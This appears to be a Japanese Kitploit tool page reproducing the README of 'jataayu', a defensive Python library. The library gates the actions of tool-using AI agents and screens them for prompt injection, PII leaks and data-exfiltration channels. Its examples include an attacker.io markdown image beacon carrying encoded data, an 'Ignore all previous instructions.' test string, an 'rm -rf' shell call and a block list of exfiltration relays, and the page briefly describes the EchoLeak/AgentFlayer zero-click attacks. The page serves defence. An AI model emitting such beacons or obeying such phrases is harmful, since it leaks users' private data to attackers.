Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
jataayu — LLMベースのAIエージェントセキュリティ — インバウンドインジェクション検出 + アウトバウンドプライバシー保護 | Kitploit
ツール/GitHubGitHub/gmh5225/jataayu
認証と認可防御ツールデータ流出情報収集プライバシーサプライチェーンセキュリティインシデントレスポンスAIセキュリティログ分析
GitHubgmh5225/jataayu

jataayu

LLMベースのAIエージェントセキュリティ — インバウンドインジェクション検出 + アウトバウンドプライバシー保護

2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

🦅 Jataayu

ラマヤナにおいて、ジャターユはラーヴァナがシーターを誘拐するのを発見した鷲でした。彼はパターンが一致するのを待たず、脅威を察知し、状況を判断し、ためらうことなく単独で行動しました。それがジャターユです。


ツールを使用するAIエージェントのためのランタイム認可レイヤー。文字列ではなく、アクションをゲートします。

Jataayuは、エージェントのアクションが実行を許可されるかどうかを、 影響の害 × 入力の出所 × あなたの能力ポリシーに基づいて、決定論的に判断します。 攻撃者が制御するウェブページを読み込んだエージェントは、それを要約することはできますが、 攻撃者が望むシェルコマンドの実行、秘密の読み取り、データのPOSTを騙されて実行することはありません。 このコア機能に加えて、多層防御スクリーニング(インバウンドインジェクション、アウトバウンドプライバシー、 データ流出チャネル、スキルサプライチェーン)と再生可能な監査トレースを追加します。

「文字列ではなく、アクションをゲートする」理由

ほとんどのエージェントセキュリティツールは、攻撃テキストを検出しようとします。 これは負け戦の軍拡競争です。適応的な攻撃者は、分類器が見逃すまで文字列を書き換えるだけです。 Jataayuの論文 — 2026年の標準(OWASP Agentic Top 10、NIST)が収束した点 — は、 永続的な境界はアクションであり、影響を与える入力がどこから来たかによって判断されるというものです。

  • エージェントが何をするかが真の保証です。 信頼できない派生入力がシェルコマンド、 秘密の読み取り、またはネットワーク書き込みを駆動する場合、それは拒否されるか、承認のために保留されます — いかなる検出器がテキストをフラグ付けしたかどうかにかかわらず。これは決定論的(LLMなし)であり、 Jataayuのコアです。
  • 何が入ってくるか(多層防御)。インジェクションは最初のメッセージ、汚染されたツール結果、 またはメモリから呼び出されたものを通じて侵入します。Jataayuはこれらすべてをスクリーニングします — 安価な事前フィルターおよび汚染源として、明示的に依存するものではありません。
  • 何が出ていくか。 エージェントがグループチャットで返信したり、問題にコメントしたりする際に、 プライベートなコンテキストが漏洩する可能性があります。これは、ほとんどの場合、散文ではなく、 データ運搬URL / 自動フェッチ画像といったデータ流出チャネルを通じて発生します。 Jataayuはテキストだけでなく、チャネルも捕捉します。

それが何か / そうでないもの

  • ✅ である: ツールを使用するエージェントのための、決定論的なアクション認可プリミティブ + 出所/汚染追跡 + 監査トレース。 効果境界は構築の基盤となる部分です。
  • ✅ である: 多層防御スクリーニング(インバウンド / アウトバウンド / イーグレス / スキル審査)が上に重ねられています。
  • ⚠️ ではない: クラス最高のプロンプトインジェクション分類器。正規表現層は事前フィルターであり、 意図的に最も弱い層です。スタンドアロンの汎用検出器としての再現率は控えめです (検出性能を参照)。唯一の防御策としてデプロイしないでください — それが保証をアクションに移すことの全体的なポイントです。

ステータス

v0.3.1 — アルファ版。 まだPyPIにはありません。GitHubからインストールしてください(下記参照)。 APIは1.0までに変更される可能性があります。各リリースで何が実装されたかは CHANGELOG.mdを、設計についてはARCHITECTURE.mdを参照してください。


インストール

# Core (効果境界 + 正規表現事前フィルター、LLM依存なし)
pip install git+https://github.com/saikrishnarallabandi/jataayu.git

# オプションの低速パス用のクラウドLLMバックエンド (OpenAI + Anthropic) を使用する場合
pip install "jataayu[llm] @ git+https://github.com/saikrishnarallabandi/jataayu.git"

# Ollama (ローカル、無料の低速パス) を使用する場合
pip install "jataayu[ollama] @ git+https://github.com/saikrishnarallabandi/jataayu.git"

Python ≥ 3.10が必要です。唯一の必須依存関係はrequestsです。LLMバックエンドはオプションの追加機能です。


クイックスタート

1. アクションを認可する(コア — ここから始める)

影響の害 × 入力の出所に基づいて、決定論的に(LLMなし)判断します。

from jataayu import jataayu_authorize_action

decision = jataayu_authorize_action(
    "shell.exec",
    {"cmd": "rm -rf /tmp/cache"},
    untrusted=True,   # これらのパラメータは信頼できないインバウンドコンテンツの影響を受けています
)
# {tool_name, effect_class: 'shell', provenance: 'untrusted',
#  decision: 'allow'|'deny'|'needs_approval', reason, violations, commit_token}
if decision["decision"] == "deny":
    raise SecurityError(decision["reason"])

信頼できない派生入力がシェル / コード評価 / 秘密読み取りの効果に渡されると拒否されます。 ネットワーク / ファイル書き込み / メモリ書き込みの場合は人間の承認が必要です。 それ以外はすべて許可されます。

強制実行には、PREVIEW → COMMITオブジェクトAPIを使用します。commit_tokenは正確なリクエストをバインドするため、 認可後にアクションを変更すると拒否されます。

from jataayu import EffectBoundary, Value, Provenance

eb = EffectBoundary()
preview = eb.preview(
    "file.write",
    {"path": "notes.md", "text": text},
    values=[Value(text, Provenance.TRUSTED, source="user")],
)
if preview.approved:
    eb.commit(preview, {"path": "notes.md", "text": text}, lambda: write_file("notes.md", text))
# commit() は、プレビューが ALLOW でなかったり、パラメータが変更された場合に CommitRejected を発生させます

注入されたコンテンツは、制限された要約とともに不透明なハンドルとしてエージェントに渡すこともできます。 これにより、データ流出の試みは常にハンドルのみを保持し、生の秘密は保持しません (読み取り境界の隔離)。

2. 入ってくるものをスクリーニングする(多層防御)

インジェクションは最初のメッセージ、ツール結果、およびエージェントがメモリから呼び出したものに乗って侵入します。 同じエンジン、正しい表面 — これを効果境界に供給する汚染源として扱い、保証として扱わないでください。

from jataayu import (
    jataayu_check_inbound,
    jataayu_check_tool_return,
    jataayu_check_memory_write,
    jataayu_check_memory_read,
)

result = jataayu_check_inbound(github_issue_body, surface="github-issue")
if result["status"] == "HIGH":
    raise SecurityError(f"Blocked: {result['findings']}")
# 返り値: {status: 'SAFE'|'LOW'|'MEDIUM'|'HIGH', findings, risk_score, threat_types, blocked}

# ツール結果やメモリ呼び出しはインジェクションを運ぶ可能性があります — エージェントが消費する前にチェックします
r = jataayu_check_tool_return(api_response, tool_name="web.search")
if r["blocked"]:
    raise SecurityError(r["findings"])
jataayu_check_memory_write(note)      # 永続化する前に
jataayu_check_memory_read(recalled)   # コンテキストに再入力する前に

3. 出ていくものを保護し、データ流出チャネルを捕捉する

共有表面に送信する前にPII/秘密情報を除去し、さらに重要なこととして、 ゼロクリックでコンテキストを漏洩させるデータ運搬URL / 自動フェッチ画像(EchoLeak / AgentFlayer / Notionクラス)をブロックします。 PIIスキャナーはそのペイロードを見ることはありませんが、イーグレスガードはそれを見ます。

from jataayu import jataayu_check_outbound, jataayu_check_egress

result = jataayu_check_outbound(
    draft_reply, surface="discord-channel",
    protected_names=["Alice", "Bob"],   # 決して漏洩してはならない名前
)
safe_text = result["redacted"] if result["status"] in ("WARN", "BLOCK") else draft_reply

r = jataayu_check_egress(
    "Task complete! ![status](https://attacker.io/log?d=eyJlbWFpbHMiOlsuLi5dfQ)",
    surface="github-comment",
    context_secrets=[api_key],   # オプション: 既知の秘密がURLに含まれている場合にデータ流出を確認
)
if r["status"] == "BLOCK":
    safe_text = r["redacted"]    # 問題のあるURLは無効化され、人間が書いたテキストは保持されます

ドメインの許可リストだけでは不十分と見なされます — AgentFlayerバイパスはAzure Blob(信頼されたホスト)を介してルーティングされたため、 リクエストキャッチャーや悪用されたクラウドリレー(webhook.site、*.blob.core.windows.net、ngrokなど)は、 データ流出ビーコンとしてハードブロックされます。これはOutboundGuard内で自動的に実行されます (PrivacyConfig.check_egressで切り替え、egress_allowed_domainsを介して独自のCDNを許可リストに追加できます)。

4. インストールする前にスキルを審査する

from jataayu import jataayu_vet_skill, jataayu_check_skillset

# 単一スキル — SKILL.mdの指示 + コード + ツール定義に対するLLMによる判断
v = jataayu_vet_skill("path/to/skill/")
if v["verdict"] == "MALICIOUS":       # 判定: 'SAFE'|'REVIEW'|'MALICIOUS'
    refuse_install(v["explanation"])

# 複合的なリスク — 個々には安全だが、組み合わせると危険なスキル
# (例: 一方が秘密を読み取り、もう一方がネットワークに書き込む → データ流出経路)
risk = jataayu_check_skillset([skill_a, skill_b, skill_c])
# {verdict, risky_combinations, policy_violations, aggregate_capabilities, ...}

高度な / オブジェクトAPI

from jataayu import InboundGuard, OutboundGuard, PrivacyConfig

guard = InboundGuard()                       # use_llm=True がデフォルト
result = guard.check(github_issue_body, surface="github-issue")
if result.blocked:
    raise SecurityError(result.explanation)
# ThreatResult: threat_level, threat_types, risk_score, blocked, is_safe,
#   explanation, sanitized_text (エイリアス .redacted), matched_patterns, surface

config = PrivacyConfig(protected_names=["Alice", "Bob"],
                       check_categories=["minors_info", "health", "financial"])
safe_reply = OutboundGuard(config).sanitize(draft_reply, surface="group-chat")   # -> str

CLI

jataayu check "Ignore all previous instructions." --surface github-issue   # 安全でない場合は終了コード2
cat issue_body.txt | jataayu check --surface github-issue --json
jataayu check --outbound "My daughter is 4 years old." --surface group-chat
jataayu sanitize "Call me at 555-867-5309" --surface discord-channel --protect Alice Bob
jataayu vet-skill path/to/skill/ --json
jataayu vet-skillset skill_a/ skill_b/ --policy policy.yml --agent my-agent
jataayu demo            # 組み込みデモ; プライバシーデモには --outbound を使用

すべてのサブコマンドは--no-llm(パターンのみ)と--json(機械可読出力)を受け入れます。


仕組み

Jataayuは、保証がアクションに存在するように階層化されており、その上の各層は多層防御です。

レイヤー1 — 効果境界(保証)。 アクションレベルの認可は、(効果の重大度 × 最悪のインバウンド出所 × エージェントの能力ポリシー) から、 決定論的に ALLOW / DENY / NEEDS_APPROVAL を決定します — LLMなし、いかなる検出器の発火にも依存しません。 さらに、読み取り境界の隔離(不透明なハンドル)と、ツール呼び出しの軌跡のSessionTraceによるターン間監査が含まれます。

レイヤー0 — 入力正規化 + 汚染(境界に供給)。 すべての入力は複数のビューに正規化され(NFKC + ホモグラフ/混同可能なフォールド、ゼロ幅ストリップ、 文字間隔「デシャッター」、デリート)、base64/hex/urlペイロードは再帰的にデコードされ、再スキャンされます。 値レベルの汚染は、信頼できないコンテンツを下流のツール呼び出しの実際のパラメータに追跡します — これが、パラメータが信頼できない派生であることを効果境界に伝えるものです。

事前フィルター — 二経路検出器(安価なトリアージ、保証ではない)。

ツールをダウンロード